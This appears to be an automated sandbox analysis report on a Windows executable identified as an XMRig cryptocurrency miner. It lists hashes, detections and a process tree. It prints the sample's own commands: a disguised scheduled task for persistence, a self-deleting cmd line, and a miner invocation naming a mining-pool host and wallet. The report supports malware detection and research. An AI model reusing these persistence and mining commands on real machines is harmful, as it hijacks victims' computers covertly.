Analysis
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max time kernel
120s -
max time network
115s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
25-01-2025 15:47
Static task
static1
Behavioral task
behavioral1
Sample
e62f10e317a9ff713ced832003a3ddc6ed586c742a929e745cbbf5ebfcd6a96bN.exe
Resource
win7-20240903-en
General
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Target
e62f10e317a9ff713ced832003a3ddc6ed586c742a929e745cbbf5ebfcd6a96bN.exe
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Size
1.8MB
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MD5
87afdc6e4189d9c282dc2cef16489b20
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SHA1
12adfc719b99ca188efee3ba9cd9738ed35efcd3
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SHA256
e62f10e317a9ff713ced832003a3ddc6ed586c742a929e745cbbf5ebfcd6a96b
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SHA512
d1f90bf060b8cf8e9d902e53158e63a03a6e613a3247312fb7d891d5695ab4047115f7bd11709b253b89ecd4f9224e3558172caaf910fd68a5b65641932df06f
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SSDEEP
49152:v1NgdUZonOk+9wqzOCN6OEOIUlNIiOkk6baID2rd0f:d6KkBCk6zlNIG95yWf
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 1 IoCs
resource yara_rule behavioral2/memory/1404-23-0x00007FF7EFF70000-0x00007FF7F075C000-memory.dmp xmrig -
Downloads MZ/PE file 1 IoCs
flow pid Process 37 5052 Updater.exe -
Executes dropped EXE 2 IoCs
pid Process 5052 Updater.exe 1404 UpdateTaskManager.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 2876 timeout.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3504 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe 5052 Updater.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeLockMemoryPrivilege 1404 UpdateTaskManager.exe Token: SeLockMemoryPrivilege 1404 UpdateTaskManager.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1404 UpdateTaskManager.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 432 wrote to memory of 3504 432 e62f10e317a9ff713ced832003a3ddc6ed586c742a929e745cbbf5ebfcd6a96bN.exe 82 PID 432 wrote to memory of 3504 432 e62f10e317a9ff713ced832003a3ddc6ed586c742a929e745cbbf5ebfcd6a96bN.exe 82 PID 432 wrote to memory of 4780 432 e62f10e317a9ff713ced832003a3ddc6ed586c742a929e745cbbf5ebfcd6a96bN.exe 83 PID 432 wrote to memory of 4780 432 e62f10e317a9ff713ced832003a3ddc6ed586c742a929e745cbbf5ebfcd6a96bN.exe 83 PID 4780 wrote to memory of 2876 4780 cmd.exe 86 PID 4780 wrote to memory of 2876 4780 cmd.exe 86 PID 5052 wrote to memory of 1404 5052 Updater.exe 97 PID 5052 wrote to memory of 1404 5052 Updater.exe 97 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\e62f10e317a9ff713ced832003a3ddc6ed586c742a929e745cbbf5ebfcd6a96bN.exe"C:\Users\Admin\AppData\Local\Temp\e62f10e317a9ff713ced832003a3ddc6ed586c742a929e745cbbf5ebfcd6a96bN.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:432 -
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Create /SC MINUTE /MO 1 /TN "MicrosoftEdgeUpdateTaskMachineCoreTask" /TR "C:\ProgramData\WinUpdate32\Updater.exe" /RL HIGHEST /F2⤵
- Scheduled Task/Job: Scheduled Task
PID:3504
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C:\Windows\SYSTEM32\cmd.execmd.exe /c timeout /t 5 /nobreak >nul & del "C:\Users\Admin\AppData\Local\Temp\e62f10e317a9ff713ced832003a3ddc6ed586c742a929e745cbbf5ebfcd6a96bN.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4780 -
C:\Windows\system32\timeout.exetimeout /t 5 /nobreak3⤵
- Delays execution with timeout.exe
PID:2876
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C:\ProgramData\WinUpdate32\Updater.exeC:\ProgramData\WinUpdate32\Updater.exe1⤵
- Downloads MZ/PE file
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5052 -
C:\Users\Admin\AppData\Roaming\Microsoft\UpdateTaskManager.exe"C:\Users\Admin\AppData\Roaming\Microsoft\UpdateTaskManager.exe" -a rx/0 -o xmr-eu1.nanopool.org:10343 -u 48EzR9SzuqGf2S1gXVTkpEDrEhZ6WpJX3KKsG6ZxMi447nkY7LQeN4p7Ye13tkw7G3KGDKp5Q3C47ZUsQpsSXzA27tT3z82.WORKER1 -p WORKER1 --threads=4 --cpu-priority=0 --tls2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1404
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1.8MB
MD587afdc6e4189d9c282dc2cef16489b20
SHA112adfc719b99ca188efee3ba9cd9738ed35efcd3
SHA256e62f10e317a9ff713ced832003a3ddc6ed586c742a929e745cbbf5ebfcd6a96b
SHA512d1f90bf060b8cf8e9d902e53158e63a03a6e613a3247312fb7d891d5695ab4047115f7bd11709b253b89ecd4f9224e3558172caaf910fd68a5b65641932df06f
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Filesize
5.3MB
MD50b6c036c7e331ac1580b1c6e8b89e92f
SHA1c2e43e4ed7322aea501c58030eabb9c358afa5db
SHA25691bb6ef6bb9a99d6120ba4ce41712764874476af7c1c49d087940a972078ac08
SHA51272cf27688da48b95fe51e9dfdee985821e344c87144932010b143eb377c7eb3823610be3cac95c9984fbf0d7598da6f6d7a1ce02b046c34081478b726fdfe5fc